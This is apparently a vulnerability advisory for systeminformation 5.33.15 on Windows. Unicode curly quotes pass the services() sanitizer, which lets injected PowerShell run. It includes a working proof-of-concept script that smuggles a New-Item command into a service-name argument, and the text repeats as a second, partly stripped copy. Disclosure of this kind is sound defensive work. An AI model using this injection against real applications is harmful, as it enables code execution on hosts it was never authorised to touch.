Summary
On Windows, systeminformation@5.33.15 builds a PowerShell command using the value passed to services(). The default sanitizer removes ASCII quotes but keeps Unicode curly quotes, spaces, and parentheses. A crafted service name can use those characters to break out of the generated filter string and run a PowerShell expression. The expression runs with the permissions of the Node.js process.
This report confirms version 5.33.15. Other package versions have not been checked.
Details
In lib/processes.js, services() sanitizes the caller's string with sanitizeShellString() and later inserts each resulting name into a Get-CimInstance Win32_Service -Filter command. The Windows branch passes that command to util.powerShell().
The sanitizer in lib/util.js removes the ASCII double quote, but it does not remove U+201C or U+201D, the left and right curly double quotation marks. It also permits spaces and parentheses when called in its default, non-strict mode. PowerShell accepts the curly marks as string delimiters, so an input can end the filter string and place a command expression in the generated command.
For example, the input below uses curly quotation marks to end the generated filter string and execute New-Item. I reproduced this call on Windows against the checked-out systeminformation@5.33.15 source; it created a marker file with the Node.js process account.
Proof of concept
Run this on Windows in a disposable directory with Node.js and PowerShell available:
mkdir si-command-injection-repro
cd si-command-injection-repro
npm init -y
npm install systeminformation@5.33.15
Save the following as poc.cjs, then run node poc.cjs:
'use strict';
const fs = require('node:fs');
const path = require('node:path');
const si = require('systeminformation');
(async () => {
const markerName = `si-injection-${process.pid}.txt`;
const markerPath = path.join(process.cwd(), markerName);
fs.rmSync(markerPath, { force: true });
try {
await si.services(`not-a-service” (New-Item -Name ${markerName} -ItemType File -Force) “`);
console.log(`markerCreated=${fs.existsSync(markerPath)}`);
} finally {
fs.rmSync(markerPath, { force: true });
}
})().catch((error) => {
console.error(error);
process.exitCode = 1;
});
Expected output:
markerCreated=true
The Windows run returned an array and created the marker (markerCreated: true). A benign input left the marker absent. The script removes the marker afterward. I did not identify an application network route that forwards remote input to services(), so remote exploitability depends on the consuming application.
Impact
An application that passes attacker-controlled input to services() on Windows can execute PowerShell commands with the Node.js process account's permissions. Depending on that account, commands may read or change accessible files, alter application data, or disrupt the service. I searched this repository for HTTP servers, route handlers, and listener calls and found none. services() is exposed through the package API and getDynamicData(), so a consuming application could make the input network-reachable if it forwards request data. A separate loopback HTTP harness did trigger the command through a query parameter, but that server was test code and is not part of this repository. The project's docs/security.html already warns that arbitrary untrusted input to services() needs caution because package sanitization does not cover every case.
References
Summary
On Windows,
systeminformation@5.33.15builds a PowerShell command using the value passed toservices(). The default sanitizer removes ASCII quotes but keeps Unicode curly quotes, spaces, and parentheses. A crafted service name can use those characters to break out of the generated filter string and run a PowerShell expression. The expression runs with the permissions of the Node.js process.This report confirms version
5.33.15. Other package versions have not been checked.Details
In
lib/processes.js,services()sanitizes the caller's string withsanitizeShellString()and later inserts each resulting name into aGet-CimInstance Win32_Service -Filtercommand. The Windows branch passes that command toutil.powerShell().The sanitizer in
lib/util.jsremoves the ASCII double quote, but it does not remove U+201C or U+201D, the left and right curly double quotation marks. It also permits spaces and parentheses when called in its default, non-strict mode. PowerShell accepts the curly marks as string delimiters, so an input can end the filter string and place a command expression in the generated command.For example, the input below uses curly quotation marks to end the generated filter string and execute
New-Item. I reproduced this call on Windows against the checked-outsysteminformation@5.33.15source; it created a marker file with the Node.js process account.Proof of concept
Run this on Windows in a disposable directory with Node.js and PowerShell available:
Save the following as
poc.cjs, then runnode poc.cjs:Expected output:
The Windows run returned an array and created the marker (
markerCreated: true). A benign input left the marker absent. The script removes the marker afterward. I did not identify an application network route that forwards remote input toservices(), so remote exploitability depends on the consuming application.Impact
An application that passes attacker-controlled input to
services()on Windows can execute PowerShell commands with the Node.js process account's permissions. Depending on that account, commands may read or change accessible files, alter application data, or disrupt the service. I searched this repository for HTTP servers, route handlers, and listener calls and found none.services()is exposed through the package API andgetDynamicData(), so a consuming application could make the input network-reachable if it forwards request data. A separate loopback HTTP harness did trigger the command through a query parameter, but that server was test code and is not part of this repository. The project'sdocs/security.htmlalready warns that arbitrary untrusted input toservices()needs caution because package sanitization does not cover every case.References